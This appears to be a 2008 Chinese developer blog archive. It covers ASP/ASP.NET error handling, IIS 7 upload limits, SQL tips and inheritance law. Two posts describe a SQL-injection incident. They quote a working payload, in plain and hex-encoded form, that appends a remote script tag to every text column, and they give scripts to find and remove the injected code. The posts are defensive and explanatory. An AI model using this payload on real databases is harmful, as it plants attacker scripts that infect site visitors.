Category : 無分類
Reg Date : 2008/12/31 19:00

最近決定將網誌搬到 blogspot 去, 因為最近在試用 Google 的各項服務, 發現實在很多很好用的功能, 應該要好好的大力給他用。不然對 Google 提供這麼好的服務, 就真的太不夠意思了...哈哈

這邊偶爾還是會來貼貼文, 不過可能會以維護新的站台為主。有空要去造訪一下喲。

http://marchlifeshow.blogspot.com/



  googlization
 0   0
Category : SQL
Reg Date : 2008/12/19 19:00
今天幫客戶從資料庫匯出每一個資料表的資料筆數, 資料庫是 Oracle, 匯出清單非常簡單, 在資料庫上面按右鍵匯出就可以了。不過在 MS-SQL 上找了一下, 可是沒有辦法按右鍵就完成。Google 了一下, 發現其實非常的簡單, 只要在資料庫下下列的查詢, 就可以匯出想出資料了:

進一步的參考資料, 可以參考 http://msdn.microsoft.com/zh-tw/library/ms177596.aspx



 0   1
Category : 法律
Reg Date : 2008/12/12 19:00
雖然我不是律師, 也不是讀法律, 不過日前去參加一個國家考試, 考民法。到是把遺產這部分好好的弄懂不少。大家當然可以自己去看民法法條啦, 不過我的經驗是, 每一條都看的懂, 但是全部加在一起的影響就沒有辦法都想到。套到實際的例子也就往往答錯了。就這樣錯中學...學中錯, 總算可以了解整個民法在繼承大部分的內容。

網站當然有很多律師寫的文章, 不過他們太專業了, 或是不會為了考試出題目考我們, 所以很多例子要到考試的時候, 就被考倒了...所以這篇主要的目的就是分享給對法條已經小有了解, 卻很容易會忽略的重點。

先考考大家幾個題目
1. 甲男、乙女結婚關係中, 乙女偷人跑出去跟丙男生了丁子。請問甲男死了, 丁有沒有繼承權?

2. A 男、B 女結婚, 生有一女 C, A 男寫下遺囑要將所有的遺產都交給外面的女人 D, A 男死亡, 遺囑怎麼分?

我就不引用一堆法條來說明了。只說重點解答。
在整個民法中, 為什麼繼承會這麼重要, 原因在於他跟親子關係、夫妻、財產制、遺囑等都有關聯。所以在實務上, 不是律師或學法律的人, 往往會弄不清楚為什麼是這樣。

1. 甲男、乙女結婚關係中, 乙女偷人跑出去跟丙男生了丁子。請問甲男死了, 丁有沒有繼承權? 答案是有。
法律中有規定, 只要是在婚姻關係存續期間, 生下來的小孩就是婚生子女, 所以在法律上是認定這小孩是甲男、乙女的小孩。除非, 甲男丁子二個去做親子認定哦。
我是覺得有點不合理啦, 如果是甲男的私生子甲男的遺產分, 就感覺合理一點。不過法律就是這麼定的, 肯定是有理由的啦。

2. 這個在法律上也是有規範的啦, 就是有遺囑就聽遺囑, 但是不能違反特留分的規定。也就是說, 法律上規定如果是配偶、直系卑親屬, 是不可能低於其應繼分的二分之一。(應繼分及特留分, 在民法中有, 我就不條列了)。所以這個案例, 如果沒有遺囑時, 是:
B 女 50%
C 女 50%。
但是有遺囑, 所以會變成:
B 女 25%
C 女 25%
D 女 50%

簡單說明一下, 如果真有不了的地方再提出來吧。我會的就說, 不會的我不會亂說。不過, 說實在繼承的狀況通常不是那麼簡單, 就是因為變數很多, 才會有那麼多的官司好打。所以上面例子都是很單純的情況啦。如果你有家財萬貫, 就一定要好好的了解自己的權利及義務喲。

法律, 其實只保障懂法的人~~別讓自己的權益睡著了...

 0   1
Category : SQL
Reg Date : 2008/12/05 19:00

首先, 可以先行用下面這段找出有可能的植入碼

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0)
Begin Exec('select top 3 ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<Script%''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

上面這段會將文字欄位中有 <script 的抓出來。

然後把那段要清楚的 code 複製下來, 再利用下面這段

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0)
Begin Exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''<script Src=http://www.hacker.com/hack.js></Script>'','''')') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

這段的工作是將植入的碼清空。

這樣的做法效率會比一個一個表去點開來清來的快點。不過它是把所有文字欄位都拿出來清一次, 所以如果資料量大, 就會跑比較久, 甚至 Timeout。有需要的人可以再進一步調整讓效率更好一些。

 0   0
Category : ASP & ASP.net
Reg Date : 2008/12/03 19:00
SQL Injection 實在不算是什麼新鮮的攻擊模式, 不過, 每天到是都有大小不一的災情發生。昨天請了一天假, 公司就發生了一件 SQL Injection 的攻擊。到了隔天上班知道, 有一點點嚇一跳。

記得我剛開始寫網頁程式的時候, 那時對於安全防護沒有什麼概念, 寫程式只關心跑不跑的出來。不過待的公司夠小, 也沒有被駭客攻擊的經驗。後來慢慢接觸多了, 案子的規模也開始大了。就開始會關心安全性的議題。

去年剛到新公司時, 也因為一時沒有注意到的程式漏洞, 造成資料庫中的資料非竄改。那可是真的非常窘, 所以這次一發現發生了攻擊, 就深怕又是自己不小心造成的。還好側面了解應該不是我。而是沒有用的老舊的程式。

要怎麼防範 SQL Injection 的攻擊, 網路上的資料多如牛毛, 這也就不在錦上添花了。不過還是分享一下這幾次被攻擊的心得, 就是絕對不要信任任何取得的資料。

一般我們在防 SQL Injection 攻擊, 大多不會忘記要針對 request 來的資料做驗證。這也是最簡單, 最常見的攻擊方式。在輸入資料時, 帶入惡意的 SQL 指令。不過, 那 cookie 及 session 呢? cookie 及 session 都是可以修改的, 如果沒有針對 cookie, session, request 驗證資料, 就只有等著被駭的一天了。

附帶一提的是, 現在很流行將指令轉成 Hex 的方式來進行攻擊。原來的程式碼可能是:
Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<Script Src=http://www.hacker.com/hack.js></Script>''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor
Deallocate Table_Cursor

轉成 Hex 後就變成一段數字:
0x4400650063006C0061007200650020004000540020005600610072006300680061007200
280032003500350029002C0040004300200056006100720063006800610072002800320035
003500290020004400650063006C0061007200650020005400610062006C0065005F00430
07500720073006F007200200043007500720073006F007200200046006F007200200053006
5006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D00
65002000460072006F006D0020005300790073006F0062006A00650063007400730020004
1002C0053007900730063006F006C0075006D006E0073002000420020005700680065007
2006500200041002E00490064003D0042002E0049006400200041006E006400200041002E
00580074007900700065003D00270075002700200041006E0064002000280042002E00580
074007900700065003D003900390020004F007200200042002E00580074007900700065003
D003300350020004F007200200042002E00580074007900700065003D0032003300310020
004F007200200042002E00580074007900700065003D00310036003700290020004F00700
065006E0020005400610062006C0065005F0043007500720073006F00720020004! 600650074006300680020004E006500780074002000460072006F006D0020002000540061
0062006C0065005F0043007500720073006F007200200049006E0074006F002000400054
002C004000430020005700680069006C006500280040004000460065007400630068005F0
05300740061007400750073003D0030002900200042006500670069006E002000450078006
50063002800270075007000640061007400650020005B0027002B00400054002B0027005D
00200053006500740020005B0027002B00400043002B0027005D003D00520074007200690
06D00280043006F006E0076006500720074002800560061007200630068006100720028003
80030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027
003C0053006300720069007000740020005300720063003D0068007400740070003A002F00
2F0063002E006E00750025003600330025003600430065006100720033002E0063006F006D
002F006300730073002F0063002E006A0073003E003C002F0053006300720069007000740
03E0027002700270029004600650074006300680020004E006500780074002000460072006
F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E
0074006F002000400054002C00400043002! 00045006E006400200043006C006F007300650020005400610062006C0065005F0043007
500720073006F00720020004400650061006C006C006F006300610074006500200054006
10062006C0065005F0043007500720073006F007200

不過, 不管是不是轉成 Hex, 只要有驗證就不會有安全上的疑慮。

總之, 就是寫程式要養成好習慣啦!!! 自我提醒中...


 0   0
Category : ASP & ASP.net
Reg Date : 2008/11/28 19:00
最近慢慢有開始弄一些 .net 的程式。常常會遇到一些奇怪的問題...(說是其怪, 其實是因為沒有用過...)。
在 ASP 的時代, 我們大多使用 MSXML2.ServerXMLHTTP 或 Microsoft.XMLHTTP。但是到了 ASP.net 就要改用 HttpWebRequest。用起來其實是差不多。因為之前都沒有用過, 所以就整理過來。



  ASP.NET, c#, HttpWebRequest, HttpWebResponse
 0   2
Category : ASP & ASP.net
Reg Date : 2008/11/25 19:00

這幾天有機會處理一個上傳的功能。Windows 2008 Server + IIS 7。

由於平時我們不會上傳很大的檔案, 但是這次是處理上傳影音檔。並且客戶可能會上傳高達 500 mb 的影音。自己測試當然就只會找個 50 kb 的檔來測, 什麼問題都沒有。沒有想到一上線就馬上出包。一開始是 5 mb 的檔案不能上傳。出現 500-100 錯誤。小問題嘛, 直接在 web.config 檔中增加粗體的部分就解決了。


executionTimeout 單位是秒
maxRequestLength 單位是 kb

直接將 maxRequestLength 設為 500 mb, 逾時設 30 分鐘。應該可以了吧...果然自己上傳個 20 mb 都沒有問題。又交貨了...輕鬆愉快......

隔天, 上傳又失敗了...超過 30 mb 的檔直接跳 404 的錯誤。404 是找不到網頁也, 有沒有搞錯, 網頁明明就在那。於是只好開始找 Google 大師求助。找到很久, 果然找到一個印度的工程師(印度軟體工程果然強呀)提供的解決方案。總算真正解決這個問題了。

這方法要進入命令提示字元 Dos 模式來操作。看不懂也沒有關係。會換粗斜體的那個字就可以了。以下方法只適用在 Windows Server 2008 喲。

1. 以總管理者 Administrator 身份開啟命令提示字元。如不是 Administrator 請在命令提示字元上按右鍵點執行身份來切換。
2. 輸入 cd c:\Windows\systems32\inetsrv 後按 Enter
3. 輸入 appcmd set config "SiteName/AppName" -section:requestFiltering -requestLimits.maxAllowedContentLength:102400000 -commitpath:apphost 後再按下 Enter。

maxAllowedContentLength 預設值是 30 mb。單位是 bite。

如果想要取得當前的設定值, 可以用 list config 的方式取得如下:
appcmd list config "SiteName/AppName" -section:requestFiltering

appcmd 的相關使用方式, 可以利用 appcmd -? 或 appcmd config -? 或 appcmd list config -? 等方式取得。


學海無涯呀...看來 2008 Server 也要找點時間了解一下才行了。

  appcmd, ASP.NET, executionTimeout, iis 7, maxAllowedContentLength, maxRequestLength, windows 2008 server
 0   0
Category : ASP & ASP.net
Reg Date : 2008/11/24 19:00

前幾天我們已經針對 error handle 做了一些很簡單的介紹。今天就整理一下在發生重大錯誤時的處理應該如何做比較好。

IIS 6 及以前的版本都有提供一個很友善的好功能, 就是只要將 工具 / 網際網路選項 / 進階 中的「顯示易懂的 Http 錯誤」取消勾選。只要 ASP 發生錯誤, 馬上就會顯示非常完整的錯誤訊息。Debug 起來超好用的。不過那樣的資訊不只是 Debug 超好用。連駭客想要找到攻擊弱點都變的超好用...

因為錯誤訊息會包括錯在那一行, 原因, 如果是存取資料庫, 更會直接把 SQL statement 都秀出來。駭客就可以行用這些資訊, 進行像 SQL injection 或是跨網站攻擊等。並且, 秀出一堆錯誤碼給使用者看, 也不那麼友善嘛...

因此, 我們可以利用 IIS 的自訂錯誤來將錯誤不再顯示於網頁上。這只需要先設計一頁美美的錯誤頁。然後進到 IIS / 網站內容 / 自訂錯誤, 然後編輯 500;100 的訊息類型為 URL, 再在 URL 欄填入美美的那頁, 就可以啦。

不過, 這樣也就看不到錯誤訊息及原因, 就沒有辦法 Debug 啦。所以正確的做法, 除了要將錯誤訊息隱藏起來。還要將錯誤內容通知自己。

只要將你會需要的資訊, 用大概下面的方式整理出來, 加入到 500;100 的錯誤頁面中:


先前已經提過, 錯誤處理要視情況包括下列幾個項目:
1. 通知網站管理者或程式, 錯誤發生的內容
2. 將錯誤寫入應用程式 Log 中
3. 顯示友善的錯誤訊息
4. 停止繼續執行 ASP
5. 如有存取資料庫, 需考慮是否需要 transmit rollback
這一篇的做法, 希望可以對了解 error handle 可以有進一步的了解。



 0   0
Category : ASP & ASP.net
Reg Date : 2008/11/21 19:00

上一次 ASP 以 VBScript 做 Error Handle。不過, 如果是習慣使用 C, Java 等語言, 程式也可以用 jscript 來寫。就可以用 try catch 的方式。

一樣的例子, 如果改寫成 jscript 大概會變成這樣, 然後一樣出現錯誤!!

加入 try...catch...之後的處理

這也是一個簡單的 bug 處理, 在 <script> 加入 runat="server" 後, 就不是 client side 的程式。而是 server side 的囉。

改天再來寫一個比較完整的 Bug 處理。



 0   0
Category : ASP & ASP.net
Reg Date : 2008/11/19 19:00

最近參加了一些課程及同事討論。對於程式的涵蓋率及錯誤處理上, 算是又有一點小進步。所以就決定整理一下這篇很簡單的 ASP 程式 Error handle。ASP 可以用 VBScript 及 JavaScript 來開發。由於 IIS 的預設值是 VBScript, 坊間的工具書也大多用 VBScript 來教學。所以幾乎大部分的程式都是使用 VBScript 來撰寫程式。

老實說, VBScript 在錯誤處理上實在有點陽春。因為只有二種針對 error 處理的方式:
1. on error resume next
   遇到錯誤, 直接跳下一行處理
2. on error goto 0
   遇到錯誤, 錯給你看 (這是預設值)

所以當我們在處理程式時, 有時候使用 on error resume next 非常好用。因為好像什麼錯誤都沒有了。但事實上則不然。因為它只是跳到下一行去處理。錯誤那行就算了。

舉一個必死的除法錯誤例子:

這個例子少打了一個 = 號會造成下列錯誤:
Microsoft VBScript 執行階段錯誤 錯誤 '800a000d'
型態不符合: 'x'

所以我們修改一下:
 

這樣就沒有錯誤產生了。YA!! 沒有事了, 下班去。

這樣做, 真的沒有事嗎...。頁面上輸出 z 的結果是 3, 表示結果是不對的。在現實世界, 一個小小的容錯, 代表著之後所有的運算是一路錯到底!!

一個好的錯誤處理, 應該包括下列幾個項目:
1. 通知網站管理者或程式, 錯誤發生的內容
2. 將錯誤寫入應用程式 Log 中
3. 顯示友善的錯誤訊息
4. 停止繼續執行 ASP
5. 如有存取資料庫, 需考慮是否需要 transmit rollback

所以, 這個陽春版的程式修改大致要如下:

錯誤發生的情況當然是很多種啦, 不過這只是一個簡單的例子, 處理的方式也不會這麼簡單。主要只是透過 Err 元件來決定錯誤處理做什麼事。下次有空我再來寫其他進一步的錯誤處理。



  asp, try...catch...
 0   0